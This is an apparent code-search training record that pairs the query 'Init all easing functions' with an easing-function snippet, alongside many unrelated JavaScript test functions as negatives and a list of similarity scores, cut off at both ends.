mouse/touchpad\n\tawait driver.quit();\t\t\t\t\t\t\t\t\t\t\t\t//after exactly 20 seconds the entire browser will be closed by itself\n}\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t//>>\tand thats what the main wonder of SELENiUM indeed\t<<//", "function runNodeTests() {\n const SPEC_DIR = 'test/node'\n runJasmine(SPEC_DIR, false, err => {\n if (err) {\n console.log('Node tests for build failed:', err.message)\n process.exit(2)\n }\n })\n}", "function test_testApiKey() {\n hfapi.testApiKey((error, valid) => {\n assert.isNull(error, 'The request should not generate any errors.');\n assert.isTrue(valid, 'Valid should be true if API key is valid.');\n });\n}", "function testNode() {\n return src(['test/test.js'], { read: false })\n .pipe(mocha({\n reporter: 'dot',\n exit: true,\n environment: 'node'\n }));\n}", "function test () {\n/* eslint-enable no-unused-vars */\n var tests = []\n var validToken = 'valid'\n var invalidToken = Math.random()\n var thisFolder = DriveApp.getFolderById(thisFolderId)\n\n tokens[validToken] = 'description'\n\n tests.push(function missingOrInvalidTokenCausesError () {\n assertEqual(\n stringGetResponse({\n token: invalidToken\n }),\n errorPrefix + invalidTokenError\n )\n })\n\n tests.push(function missingPathCausesError () {\n assertEqual(\n stringGetResponse({\n token: validToken\n }),\n errorPrefix + missingPathError\n )\n })\n\n tests.push(function fileOfWrongTypeCausesError () {\n var fileName = 'secrets server invalid format test file'\n var file = thisFolder.createFile(fileName, 'content')\n\n assertEqual(\n stringGetResponse({\n token: validToken,\n path: fileName\n }),\n errorPrefix + unreadableFileError\n )\n\n file.setTrashed(true)\n })\n\n tests.push(function missingFileCausesError () {\n assertEqual(\n stringGetResponse({\n token: validToken,\n path: 'not a real file'\n }),\n errorPrefix + missingFileError\n )\n })\n\n tests.push(function missingDirectoryCausesError () {\n assertEqual(\n stringGetResponse({\n token: validToken,\n path: 'missingDir/someFile'\n }).indexOf(missingFolderError) !== -1,\n true\n )\n })\n\n tests.push(function nestedFileOfCorrectTypeIsRetrieved () {\n var dirName = 'valid directory test'\n var nextDirName = 'valid directory test subdirectory'\n var fileName = 'valid test file'\n var fileContent = 'content'\n var topDir = thisFolder.createFolder(dirName)\n var nextDir = topDir.createFolder(nextDirName)\n var file = DocumentApp.create(fileName)\n\n file.getBody().setText(fileContent)\n nextDir.addFile(DriveApp.getFileById(file.getId()))\n\n assertEqual(\n stringGetResponse({\n token: validToken,\n path: [dirName, nextDirName, fileName].join('/')\n }),\n fileContent\n )\n\n topDir.setTrashed(true)\n })\n\n tests.forEach(function (test) { test() })\n Logger.log('all tests passed')\n}", "beforeEach() {}", "function test_crosshair_op_instance_azure() {}", "beforeAll() {}", "async function main(){\r\n\t//test getPersonById !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\r\n try{\r\n\t\tlet p = await people.getPersonById(43);\r\n\t\tconsole.log (p);\r\n\t\tconsole.log('getPersonById passed successfully \\n');\r\n }catch(e){\r\n console.log (e);\r\n\t\tconsole.error('getPersonById failed test case \\n');\r\n }\r\n\ttry{\r\n\t\tlet p = await people.getPersonById(-20);\r\n\t\tconsole.log (p);\r\n\t\tconsole.log('getPersonById did not error \\n');\r\n\t}catch(e){\r\n\t\tconsole.log (e);\r\n\t\tconsole.error('getPersonById failed successfully \\n');\r\n\t}\r\n\ttry{\r\n\t\tlet p = await people.getPersonById(15000);\r\n\t\tconsole.log (p);\r\n\t\tconsole.log('getPersonById did not error \\n');\r\n\t}catch(e){\r\n\t\tconsole.log (e);\r\n\t\tconsole.error('getPersonById failed successfully \\n');\r\n\t}\r\n\ttry{\r\n\t\tlet p = await people.getPersonById();\r\n\t\tconsole.log (p);\r\n\t\tconsole.log('getPersonById did not error \\n');\r\n\t}catch(e){\r\n\t\tconsole.log (e);\r\n\t\tconsole.error('getPersonById failed successfully \\n');\r\n\t}\r\n\t\r\n\t//test howManyPerState !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\r\n\ttry{\r\n\t\tlet p = await people.howManyPerState('CO');\r\n\t\tconsole.log (p);\r\n\t\tconsole.log('howManyPerState passed successfully \\n');\r\n }catch(e){\r\n console.log (e);\r\n\t\tconsole.error('howManyPerState failed test case \\n');\r\n }\r\n\ttry{\r\n\t\tlet p = await people.howManyPerState(5000);\r\n\t\tconsole.log (p);\r\n\t\tconsole.log('howManyPerState did not error \\n');\r\n\t}catch(e){\r\n\t\tconsole.log (e);\r\n\t\tconsole.error('howManyPerState failed successfully \\n');\r\n\t}\r\n\ttry{\r\n\t\tlet p = await people.howManyPerState('WY');\r\n\t\tconsole.log (p);\r\n\t\tconsole.log('howManyPerState did not error \\n');\r\n\t}catch(e){\r\n\t\tconsole.log (e);\r\n\t\tconsole.error('howManyPerState failed successfully \\n');\r\n\t}\r\n\ttry{\r\n\t\tlet p = await people.howManyPerState();\r\n\t\tconsole.log (p);\r\n\t\tconsole.log('howManyPerState did not error \\n');\r\n\t}catch(e){\r\n\t\tconsole.log (e);\r\n\t\tconsole.error('howManyPerState failed successfully \\n');\r\n\t}\r\n\t\r\n\t//test personByAge !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\r\n\ttry{\r\n\t\tlet p = await people.personByAge(500);\r\n\t\tconsole.log (p);\r\n\t\tconsole.log('personByAge passed successfully \\n');\r\n }catch(e){\r\n console.log (e);\r\n\t\tconsole.error('personByAge failed test case \\n');\r\n }\r\n\ttry{\r\n\t\tlet p = await people.personByAge(50000);\r\n\t\tconsole.log (p);\r\n\t\tconsole.log('personByAge did not error \\n');\r\n\t}catch(e){\r\n\t\tconsole.log (e);\r\n\t\tconsole.error('personByAge failed successfully \\n');\r\n\t}\r\n\ttry{\r\n\t\tlet p = await people.personByAge('WY');\r\n\t\tconsole.log (p);\r\n\t\tconsole.log('personByAge did not error \\n');\r\n\t}catch(e){\r\n\t\tconsole.log (e);\r\n\t\tconsole.error('personByAge failed successfully \\n');\r\n\t}\r\n\ttry{\r\n\t\tlet p = await people.personByAge();\r\n\t\tconsole.log (p);\r\n\t\tconsole.log('personByAge did not error \\n');\r\n\t}catch(e){\r\n\t\tconsole.log (e);\r\n\t\tconsole.error('personByAge failed successfully \\n');\r\n\t}\r\n\t\r\n\t//test peopleMetrics !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\r\n\ttry{\r\n\t\tlet p = await people.peopleMetrics();\r\n\t\tconsole.log (p);\r\n\t\tconsole.log('peopleMetrics passed successfully \\n');\r\n\t}catch(e){\r\n\t\tconsole.log (e);\r\n\t\tconsole.error('peopleMetrics failed test case \\n');//I never throw here, so I don't think it can actually go here, keeping it just in case\r\n\t}\r\n\t\r\n\t//test listEmployees !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\r\n\ttry{\r\n\t\tlet p = await work.listEmployees();\r\n\t\t//console.log(util.inspect(p, {depth: null, maxArrayLength: null}));\r\n\t\tconsole.log(p);\r\n\t\tconsole.log('listEmployees passed successfully \\n'); //takes like 2 minutes to run, but was told on slack it didn't matter\r\n\t}catch(e){\r\n\t\tconsole.log (e);\r\n\t\tconsole.error('listEmployees failed test case \\n');//I never throw here, so I don't think it can actually go here, keeping it just in case\r\n\t}\r\n\t\r\n\t//test fourOneOne !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\r\n\ttry{\r\n\t\tlet p = await work.fourOneOne('240-144-7553');\r\n\t\tconsole.log (p);\r\n\t\tconsole.log('fourOneOne passed successfully \\n');\r\n }catch(e){\r\n console.log (e);\r\n\t\tconsole.error('fourOneOne failed test case \\n');\r\n }\r\n\ttry{\r\n\t\tlet p = await work.fourOneOne(50000);\r\n\t\tconsole.log (p);\r\n\t\tconsole.log('fourOneOne did not error \\n');\r\n\t}catch(e){\r\n\t\tconsole.log (e);\r\n\t\tconsole.error('fourOneOne failed successfully \\n');\r\n\t}\r\n\ttry{\r\n\t\tlet p = await work.fourOneOne('212-208-8371');\r\n\t\tconsole.log (p);\r\n\t\tconsole.log('fourOneOne did not error \\n');\r\n\t}catch(e){\r\n\t\tconsole.log (e);\r\n\t\tconsole.error('fourOneOne failed successfully \\n');\r\n\t}\r\n\ttry{\r\n\t\tlet p = await work.fourOneOne('abc-123-5783');\r\n\t\tconsole.log (p);\r\n\t\tconsole.log('fourOneOne did not error \\n');\r\n\t}catch(e){\r\n\t\tconsole.log (e);\r\n\t\tconsole.error('fourOneOne failed successfully \\n');\r\n\t}\r\n\ttry{\r\n\t\tlet p = await work.fourOneOne();\r\n\t\tconsole.log (p);\r\n\t\tconsole.log('fourOneOne did not error \\n');\r\n\t}catch(e){\r\n\t\tconsole.log (e);\r\n\t\tconsole.error('fourOneOne failed successfully \\n');\r\n\t}\r\n\t\r\n\t//test whereDoTheyWork !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\r\n\ttry{\r\n\t\tlet p = await work.whereDoTheyWork('277-85-0056');\r\n\t\tconsole.log (p);\r\n\t\tconsole.log('whereDoTheyWork passed successfully \\n');\r\n }catch(e){\r\n console.log (e);\r\n\t\tconsole.error('whereDoTheyWork failed test case \\n');\r\n }\r\n\ttry{\r\n\t\tlet p = await work.whereDoTheyWork('123-45-');\r\n\t\tconsole.log (p);\r\n\t\tconsole.log('whereDoTheyWork did not error \\n');\r\n\t}catch(e){\r\n\t\tconsole.log (e);\r\n\t\tconsole.error('whereDoTheyWork failed successfully \\n');\r\n\t}\r\n\ttry{\r\n\t\tlet p = await work.whereDoTheyWork('264-67-0084');\r\n\t\tconsole.log (p);\r\n\t\tconsole.log('whereDoTheyWork did not error \\n');\r\n\t}catch(e){\r\n\t\tconsole.log (e);\r\n\t\tconsole.error('whereDoTheyWork failed successfully \\n');\r\n\t}\r\n\ttry{\r\n\t\tlet p = await work.whereDoTheyWork();\r\n\t\tconsole.log (p);\r\n\t\tconsole.log('whereDoTheyWork did not error \\n');\r\n\t}catch(e){\r\n\t\tconsole.log (e);\r\n\t\tconsole.error('whereDoTheyWork failed successfully \\n');\r\n\t}\r\n\t\r\n}", "function test_candu_collection_tab() {}", "testFormatHapiServerSite() {\n try {\n console.info(\"# testFormatHapiServerSite\");\n var jo = URITemplateTest.readJSONTests();\n //String ss= readJSONToString( new URL( \"file:/home/jbf/ct/git/uri-templates/formatting.json\" ) );\n for ( var i = 0; i < jo.length; i++) {\n var jo1 = jo[i];\n var id = jo1.id;\n console.info(sprintf(\"# %2d: %s %s\",i, id, jo1.whatTests));\n if (i < 3) {\n console.info(\"### Skipping test \" + i);\n continue\n }\n var templates = jo1.template;\n var outputs = jo1.output;\n var outputss = [];\n for ( var ii = 0; ii < outputs.length; ii++) {\n outputss[ii] = outputs[ii];\n }\n var timeRanges;\n timeRanges = jo1.timeRange;\n if ( !Array.isArray(timeRanges) ) { \n timeRanges = [ timeRanges ];\n }\n for ( var j = 0; j < templates.length; j++) {\n var t = templates[j];\n for ( var k = 0; k < timeRanges.length; k++) {\n var timeRange = timeRanges[k];\n console.info(\"timeRange:\" + timeRange);\n var timeStartStop = timeRange.split(\"/\");\n try {\n this.doTestFormatHapiServerSiteOne(outputss, t, timeStartStop[0], timeStartStop[1]);\n } catch (ex) {\n fail(ex.getMessage());\n }\n }\n console.info(\"\" + t);\n }\n }\n } catch (ex) {\n // J2J (logger) Logger.getLogger(URITemplateTest.class.getName()).log(Level.SEVERE, null, ex);\n fail(ex);\n }\n }", "function testFunction() {\nconsole.log('you passed the test');\n}", "before() {\n /**\n * Setup the Chai assertion framework\n */\n const chai = require(\"chai\")\n global.expect = chai.expect\n global.assert = chai.assert\n global.should = chai.should()\n }", "function test_crosshair_op_instance_ec2() {}", "function known_collection_nameSuite2 () {\n let ce = \"UnitTestsCollectionEdge\";\n let cv = \"UnitTestsCollectionVertex\";\n return {\n setUp: function() {\n db._createEdgeCollection(ce);\n db._create(cv, { waitForSync: true });\n },\n\n tearDown: function() {\n db._drop(ce);\n db._drop(cv);\n },\n\n test_creating_an_edge__waitForSync_URL_paramEQfalse: function() {\n // create first vertex;\n let cmd = `/_api/document?collection=${cv}`;\n let body = { \"a\" : 1 };\n let doc = arango.POST_RAW(cmd, body);\n\n assertEqual(doc.code, 201);\n assertEqual(typeof doc.parsedBody['_id'], 'string');\n assertEqual(doc.headers['content-type'], contentType);\n\n let id1 = doc.parsedBody['_id'];\n\n // create second vertex;\n body = { \"a\" : 2 };\n doc = arango.POST_RAW(cmd, body);\n\n assertEqual(doc.code, 201);\n assertEqual(typeof doc.parsedBody['_id'], 'string');\n assertEqual(doc.headers['content-type'], contentType);\n\n let id2 = doc.parsedBody['_id'];\n\n // create edge;\n cmd = `/_api/document?collection=${ce}&waitForSync=false`;\n body = { \"_from\" : id1, \"_to\" : id2 };\n doc = arango.POST_RAW(cmd, body);\n\n assertEqual(doc.code, 202);\n assertEqual(typeof doc.parsedBody['_id'], 'string');\n assertEqual(doc.headers['content-type'], contentType);\n\n let id3 = doc.parsedBody['_id'];\n\n // check edge;\n cmd = `/_api/document/${id3}`;\n doc = arango.GET_RAW(cmd);\n\n assertEqual(doc.code, 200);\n assertEqual(doc.parsedBody['_id'], id3);\n assertEqual(doc.parsedBody['_from'], id1);\n assertEqual(doc.parsedBody['_to'], id2);\n assertEqual(doc.headers['content-type'], contentType);\n },\n\n test_creating_an_edge__waitForSync_URL_paramEQtrue: function() {\n // create first vertex;\n let cmd = `/_api/document?collection=${cv}`;\n let body = { \"a\" : 1 };\n let doc = arango.POST_RAW(cmd, body);\n\n assertEqual(doc.code, 201);\n assertEqual(typeof doc.parsedBody['_id'], 'string');\n assertEqual(doc.headers['content-type'], contentType);\n\n let id1 = doc.parsedBody['_id'];\n\n // create second vertex;\n body = { \"a\" : 2 };\n doc = arango.POST_RAW(cmd, body);\n\n assertEqual(doc.code, 201);\n assertEqual(typeof doc.parsedBody['_id'], 'string');\n assertEqual(doc.headers['content-type'], contentType);\n\n let id2 = doc.parsedBody['_id'];\n\n // create edge;\n cmd = `/_api/document?collection=${ce}&waitForSync=true`;\n body = { \"_from\" : id1, \"_to\" : id2 };\n doc = arango.POST_RAW(cmd, body);\n\n assertEqual(doc.code, 201);\n assertEqual(typeof doc.parsedBody['_id'], 'string');\n assertEqual(doc.headers['content-type'], contentType);\n\n let id3 = doc.parsedBody['_id'];\n\n // check edge;\n cmd = `/_api/document/${id3}`;\n doc = arango.GET_RAW(cmd);\n\n assertEqual(doc.code, 200);\n assertEqual(doc.parsedBody['_id'], id3);\n assertEqual(doc.parsedBody['_from'], id1);\n assertEqual(doc.parsedBody['_to'], id2);\n assertEqual(doc.headers['content-type'], contentType);\n }\n };\n}", "function test_crosshair_op_datastore_vsphere65() {}", "function exampleFunctionToRun(){\n\n }", "async function test2 () \n {\n const book = new Book({\n title:\"test\",\n writingPrompt:\"test\",\n image:\"test\",\n numberOfChapters:\"1\",\n duration:\"1\",\n authorArray:[],\n genre: \"test\"\n })\n \n \n \n await Book.create(book);\n\n let query = Book.findOne({});\n query.exec((err, bookT) => {\n var targetId = typeof String;\n targetId = bookT._id;\n //console.log(targetId)\n\n chai.request(server)\n // May have to change name because we haven't named it yet\n .get('/api/book/getById?books=' + targetId)\n .end((err, res) => {\n //console.log(res.body)\n //console.log(res.status)\n res.should.have.status(200)\n res.body.should.be.a('array')\n res.body.length.should.be.eql(1);\n done()\n })\n })\n }", "async function runAllTests(){\n await createBlocks();\n await testChainValidation();\n await introduceErrorsInBlockBody();\n await testChainValidation();\n await introduceErrorsInBlockPreviousHash();\n await testChainValidation();\n}", "function test() {\n var count = 2;\n return function testRefreshToken() {\n // exchange the refresh token with the access token\n request.post('/oauth2/token')\n .type('form')\n .send(data2)\n .end(function(err, res2) {\n assert(!err, 'Unexpected error');\n count--;\n if (count > 0) {\n // the access token is successfully received\n assert(res2.body.access_token);\n testRefreshToken();\n } else {\n // failed to request an access token with a used refresh token\n assert(!res2.body.access_token);\n assert(!res2.body.refresh_token);\n\n assert.equal(res2.body.error,\n 'invalid_grant');\n assert.equal(res2.body.error_description,\n 'Invalid refresh token');\n\n done();\n }\n });\n };\n }", "function testFunctions()\n{\n let _count = 100;\n const _getFn = () =>\n {\n const _n = _count++;\n return (cb) => setTimeout(\n () => cb(null, _n),\n Math.random() * 50\n );\n };\n jfSync(\n [\n _getFn(),\n _getFn(),\n _getFn(),\n _getFn(),\n _getFn()\n ],\n (error, data) => checkData([100, 101, 102, 103, 104])\n );\n}", "async testConfig({request,response,error}){\n var obj = await config.getConfigValueByKey(\"StagingConn\")\n return response.status(200).send(obj);\n }", "function testServer(test) { //{{{\n test.done();\n }", "static test01() {\n let cal = new Calc();\n cal.receiveInput(1);\n cal.receiveInput(1);\n cal.receiveInput(Calc.OP.PLUS);\n cal.receiveInput(5);\n cal.receiveInput(Calc.OP.EQ);\n return cal.getDisplayedNumber() === 11 + 5;\n }", "function TestMethods() {}", "async function test() {\n await testStartup();\n let i = 0;\n while(true) {\n console.log('Start batch number', i);\n // await testBlockAPI();\n await testAbi();\n // await testClassic();\n console.log('Finish batch number', i);\n i++;\n }\n}" ]
[ "0.6242547", "0.60300624", "0.6019772", "0.59081507", "0.5897137", "0.58903205", "0.5839183", "0.58187634", "0.5790852", "0.5768567", "0.5763486", "0.57326806", "0.5702965", "0.56981266", "0.56968343", "0.5635282", "0.5634316", "0.56297296", "0.56023264", "0.55975425", "0.5572045", "0.55683905", "0.5552408", "0.5527828", "0.5493285", "0.54930514", "0.5487101", "0.5480659", "0.54685074", "0.54640687", "0.5447338", "0.5429939", "0.5419828", "0.54156905", "0.5405028", "0.5392611", "0.5390453", "0.5388924", "0.5377364", "0.53540933", "0.5352066", "0.53497136", "0.53432226", "0.5331768", "0.5328775", "0.5328615", "0.5326191", "0.53187007", "0.5311104", "0.53090316", "0.53066087", "0.53047955", "0.5304546", "0.53024834", "0.5296027", "0.5294092", "0.5289872", "0.52849984", "0.52849984", "0.5282166", "0.52738714", "0.5259314", "0.52558", "0.5254617", "0.5253435", "0.5252243", "0.5251006", "0.525049", "0.5250332", "0.5250298", "0.5250261", "0.5249652", "0.5248442", "0.5245544", "0.5236089", "0.5235341", "0.52198213", "0.521754", "0.5217537", "0.52161205", "0.52148974", "0.5212951", "0.52045715", "0.5204172", "0.51923823", "0.51922375", "0.51808214", "0.51799464", "0.51786894", "0.517244", "0.51714206", "0.5165109", "0.5162631", "0.5155065", "0.51536", "0.51518273", "0.5146803", "0.5144136", "0.5142441", "0.5138711", "0.5136083" ]
0.0
-1
Init all easing functions
initEasingFunctions() { this.EASE_IN_EXPO = (l, r, x) => (l + (r - l) * Math.pow(2, (x - 1) * 7)); // 0.14285714285714285 == (1 / log(2, 128)) this.EASE_OUT_EXPO = (l, r, x) => (l + (r - l) * Math.log(x * 127 + 1) / Math.LN2 * 0.14285714285714285); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "constructLerpFunctions ()\n {\n\n // Quadratic\n\n // lerpStyleEaseOutQuadratic\n this.lerpFunctions['lerpStyle' + Transition[Transition.EaseOut] + Style[Style.Quadratic]] =\n (initial, lerpDistance, duration, currentTime) =>\n {\n return this.lerpStyleEaseOutQuadratic(initial, lerpDistance, duration, currentTime);\n };\n\n // lerpStyleEaseInQuadratic\n this.lerpFunctions['lerpStyle' + Transition[Transition.EaseIn] + Style[Style.Quadratic]] =\n (initial, lerpDistance, duration, currentTime) =>\n {\n return this.lerpStyleEaseInQuadratic(initial, lerpDistance, duration, currentTime);\n };\n\n // lerpStyleEaseInOutQuadratic\n this.lerpFunctions['lerpStyle' + Transition[Transition.EaseInOut] + Style[Style.Quadratic]] =\n (initial, lerpDistance, duration, currentTime) =>\n {\n return this.lerpStyleEaseInOutQuadratic(initial, lerpDistance, duration, currentTime);\n };\n\n // Linear\n\n // lerpStyleLinear\n this.lerpFunctions['lerpStyle' + Transition[Transition.EaseOut] + Style[Style.Linear]] =\n (initial, lerpDistance, duration, currentTime) =>\n {\n return this.lerpStyleLinear(initial, lerpDistance, duration, currentTime);\n };\n this.lerpFunctions['lerpStyle' + Transition[Transition.EaseIn] + Style[Style.Linear]] =\n (initial, lerpDistance, duration, currentTime) =>\n {\n return this.lerpStyleLinear(initial, lerpDistance, duration, currentTime);\n };\n this.lerpFunctions['lerpStyle' + Transition[Transition.EaseInOut] + Style[Style.Linear]] =\n (initial, lerpDistance, duration, currentTime) =>\n {\n return this.lerpStyleLinear(initial, lerpDistance, duration, currentTime);\n };\n\n // Sine\n\n // lerpStyleEaseOutSine\n this.lerpFunctions['lerpStyle' + Transition[Transition.EaseOut] + Style[Style.Sine]] =\n (initial, lerpDistance, duration, currentTime) =>\n {\n return this.lerpStyleEaseOutSine(initial, lerpDistance, duration, currentTime);\n };\n\n // lerpStyleEaseInSine\n this.lerpFunctions['lerpStyle' + Transition[Transition.EaseIn] + Style[Style.Sine]] =\n (initial, lerpDistance, duration, currentTime) =>\n {\n return this.lerpStyleEaseInSine(initial, lerpDistance, duration, currentTime);\n };\n\n // lerpStyleEaseInOutSine\n this.lerpFunctions['lerpStyle' + Transition[Transition.EaseInOut] + Style[Style.Sine]] =\n (initial, lerpDistance, duration, currentTime) =>\n {\n return this.lerpStyleEaseInOutSine(initial, lerpDistance, duration, currentTime);\n };\n\n // Exponential\n\n // lerpStyleEaseOutExponential\n this.lerpFunctions['lerpStyle' + Transition[Transition.EaseOut] + Style[Style.Exponential]] =\n (initial, lerpDistance, duration, currentTime) =>\n {\n return this.lerpStyleEaseOutExponential(initial, lerpDistance, duration, currentTime);\n };\n\n // lerpStyleEaseInExponential\n this.lerpFunctions['lerpStyle' + Transition[Transition.EaseIn] + Style[Style.Exponential]] =\n (initial, lerpDistance, duration, currentTime) =>\n {\n return this.lerpStyleEaseInExponential(initial, lerpDistance, duration, currentTime);\n };\n\n // lerpStyleEaseInOutExponential\n this.lerpFunctions['lerpStyle' + Transition[Transition.EaseInOut] + Style[Style.Exponential]] =\n (initial, lerpDistance, duration, currentTime) =>\n {\n return this.lerpStyleEaseInOutExponential(initial, lerpDistance, duration, currentTime);\n };\n\n // Cubic\n\n // lerpStyleEaseOutCubic\n this.lerpFunctions['lerpStyle' + Transition[Transition.EaseOut] + Style[Style.Cubic]] =\n (initial, lerpDistance, duration, currentTime) =>\n {\n return this.lerpStyleEaseOutCubic(initial, lerpDistance, duration, currentTime);\n };\n\n // lerpStyleEaseInCubic\n this.lerpFunctions['lerpStyle' + Transition[Transition.EaseIn] + Style[Style.Cubic]] =\n (initial, lerpDistance, duration, currentTime) =>\n {\n return this.lerpStyleEaseInCubic(initial, lerpDistance, duration, currentTime);\n };\n\n // lerpStyleEaseInOutCubic\n this.lerpFunctions['lerpStyle' + Transition[Transition.EaseInOut] + Style[Style.Cubic]] =\n (initial, lerpDistance, duration, currentTime) =>\n {\n return this.lerpStyleEaseInOutCubic(initial, lerpDistance, duration, currentTime);\n };\n }", "function aos_init() {\n AOS.init({\n duration: 1000,\n easing: \"ease-in-out\",\n once: true,\n mirror: false\n });\n }", "function aos_init() {\n AOS.init({\n duration: 1000,\n easing: \"ease-in-out\",\n once: true,\n mirror: false\n });\n }", "animate() {\n // interpolate values\n var translation = this.lerp(this.translation, this.currentPosition, this.options.easing);\n\n // apply our translation\n this.translateSlider(translation);\n\n this.animationFrame = requestAnimationFrame(this.animate.bind(this));\n }", "function aos_init() {\n AOS.init({\n duration: 1000,\n easing: 'ease-in-out',\n once: true,\n mirror: false\n });\n }", "function aos_init() {\n AOS.init({\n duration: 1000,\n easing: \"ease-in-out\",\n once: true,\n mirror: false,\n });\n }", "function init() {\n \n\tTweenLite.set($slides, {\n\t\tleft: \"-100%\"\n });\n\tgotoSlide(0, 0);\n}", "init() {\n this.timerSlide();\n this.nextClick();\n this.previousClick();\n this.breakSlide();\n this.playSlide();\n this.keybord();\n }", "_declareDefaults () {\n // DEFAULTS\n this._defaults = {\n /* duration of the tween [0..∞] */\n duration: 350,\n /* delay of the tween [-∞..∞] */\n delay: 0,\n /* repeat of the tween [0..∞], means how much to\n repeat the tween regardless first run,\n for instance repeat: 2 will make the tween run 3 times */\n repeat: 0,\n /* speed of playback [0..∞], speed that is less then 1\n will slowdown playback, for instance .5 will make tween\n run 2x slower. Speed of 2 will speedup the tween to 2x. */\n speed: 1,\n /* flip onUpdate's progress on each even period.\n note that callbacks order won't flip at least\n for now (under consideration). */\n isYoyo: false,\n /* easing for the tween, could be any easing type [link to easing-types.md] */\n easing: 'Sin.Out',\n /*\n Easing for backward direction of the tweenthe tween,\n if `null` - fallbacks to `easing` property.\n forward direction in `yoyo` period is treated as backward for the easing.\n */\n backwardEasing: null,\n /* custom tween's name */\n name: null,\n /* custom tween's base name */\n nameBase: 'Tween',\n /*\n onProgress callback runs before any other callback.\n @param {Number} The entire, not eased, progress\n of the tween regarding repeat option.\n @param {Boolean} The direction of the tween.\n `true` for forward direction.\n `false` for backward direction(tween runs in reverse).\n */\n onProgress: null,\n /*\n onStart callback runs on very start of the tween just after onProgress\n one. Runs on very end of the tween if tween is reversed.\n @param {Boolean} Direction of the tween.\n `true` for forward direction.\n `false` for backward direction(tween runs in reverse).\n */\n onStart: null,\n onRefresh: null,\n onComplete: null,\n onRepeatStart: null,\n onRepeatComplete: null,\n onFirstUpdate: null,\n onUpdate: null,\n isChained: false,\n // playback callbacks\n onPlaybackStart: null,\n onPlaybackPause: null,\n onPlaybackStop: null,\n onPlaybackComplete: null,\n // context which all callbacks will be called with\n callbacksContext: null\n }\n }", "function Tween(equation, parameters, context) {\n if (context === void 0) { context = DreamsArk; }\n this.equation = equation;\n this.context = context;\n this.bounceInOut = function (time, begin, change, duration) {\n if (time < duration / 2) {\n return this.bounceIn(time * 2, 0, change, duration) * 0.5 + begin;\n }\n else {\n return this.bounceOut(time * 2 - duration, 0, change, duration) * 0.5 + change * 0.5 + begin;\n }\n };\n this.circIn = function (time, begin, change, duration) {\n return -change * (Math.sqrt(1 - (time = time / duration) * time) - 1) + begin;\n };\n this.circOut = function (time, begin, change, duration) {\n return change * Math.sqrt(1 - (time = time / duration - 1) * time) + begin;\n };\n this.circInOut = function (time, begin, change, duration) {\n if ((time = time / (duration / 2)) < 1) {\n return -change / 2 * (Math.sqrt(1 - time * time) - 1) + begin;\n }\n else {\n return change / 2 * (Math.sqrt(1 - (time -= 2) * time) + 1) + begin;\n }\n };\n this.cubicIn = function (time, begin, change, duration) {\n return change * (time /= duration) * time * time + begin;\n };\n this.cubicOut = function (time, begin, change, duration) {\n return change * ((time = time / duration - 1) * time * time + 1) + begin;\n };\n this.cubicInOut = function (time, begin, change, duration) {\n if ((time = time / (duration / 2)) < 1) {\n return change / 2 * time * time * time + begin;\n }\n else {\n return change / 2 * ((time -= 2) * time * time + 2) + begin;\n }\n };\n this.elasticOut = function (time, begin, change, duration, amplitude, period) {\n var overshoot;\n if (amplitude == null) {\n amplitude = null;\n }\n if (period == null) {\n period = null;\n }\n if (time === 0) {\n return begin;\n }\n else if ((time = time / duration) === 1) {\n return begin + change;\n }\n else {\n if (!(period != null)) {\n period = duration * 0.3;\n }\n if (!(amplitude != null) || amplitude < Math.abs(change)) {\n amplitude = change;\n overshoot = period / 4;\n }\n else {\n overshoot = period / (2 * Math.PI) * Math.asin(change / amplitude);\n }\n return (amplitude * Math.pow(2, -10 * time)) * Math.sin((time * duration - overshoot) * (2 * Math.PI) / period) + change + begin;\n }\n };\n this.elasticIn = function (time, begin, change, duration, amplitude, period) {\n var overshoot;\n if (amplitude == null) {\n amplitude = null;\n }\n if (period == null) {\n period = null;\n }\n if (time === 0) {\n return begin;\n }\n else if ((time = time / duration) === 1) {\n return begin + change;\n }\n else {\n if (!(period != null)) {\n period = duration * 0.3;\n }\n if (!(amplitude != null) || amplitude < Math.abs(change)) {\n amplitude = change;\n overshoot = period / 4;\n }\n else {\n overshoot = period / (2 * Math.PI) * Math.asin(change / amplitude);\n }\n time -= 1;\n return -(amplitude * Math.pow(2, 10 * time)) * Math.sin((time * duration - overshoot) * (2 * Math.PI) / period) + begin;\n }\n };\n this.elasticInOut = function (time, begin, change, duration, amplitude, period) {\n var overshoot;\n if (amplitude == null) {\n amplitude = null;\n }\n if (period == null) {\n period = null;\n }\n if (time === 0) {\n return begin;\n }\n else if ((time = time / (duration / 2)) === 2) {\n return begin + change;\n }\n else {\n if (!(period != null)) {\n period = duration * (0.3 * 1.5);\n }\n if (!(amplitude != null) || amplitude < Math.abs(change)) {\n 